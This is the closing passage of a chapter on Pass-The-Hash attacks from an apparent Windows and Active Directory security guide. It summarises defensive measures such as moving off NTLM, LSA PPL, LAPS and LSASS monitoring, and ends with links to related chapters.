- Transitioning away from NTLM to Kerberos-only authentication
- Implementing LSA PPL on all Windows 8.1+ systems
- Deploying LAPS for unique local administrator passwords
- Monitoring LSASS access and explicit credential usage
- Enforcing least privilege and time-limited administrative access
Strategic Importance:
Pass-The-Hash attacks illustrate fundamental Windows security challenges:
- Legacy protocol support (NTLM) maintains vulnerabilities for backward compatibility
- Credential material stored in memory enables extraction and reuse
- Local administrator password reuse amplifies compromise impact
- Detection requires understanding both authentication protocols and process behavior
In the broader context of Active Directory security, Pass-The-Hash demonstrates why credential protection is paramount. A single compromised system can expose credentials for multiple users, and hash reuse (especially local administrators) enables rapid lateral movement across entire networks. Organizations must prioritize eliminating NTLM, implementing runtime protections like LSA PPL, deploying LAPS for password uniqueness, and establishing robust monitoring for credential-based attacks.
The attack also highlights the importance of assuming breach mentality—even with strong perimeter defenses, insider threats or successful phishing can lead to credential compromise, making post-exploitation defenses and detection capabilities critical components of a comprehensive security strategy.
Previous Chapter: Chapter 22: Skeleton Key
Next Chapter: Chapter 24: Kerberos Overview
Related Chapters: - Chapter 12: LSASS Protections - LSASS architecture and protection mechanisms - Chapter 19: LSASS SSPs - Security Support Providers and MSV1_0 - Chapter 16: LSA SAM - Local account hash storage - Chapter 26: Pass-The-Ticket - Kerberos credential reuse - Chapter 28: Over-Pass-The-Hash - Using hashes to obtain Kerberos tickets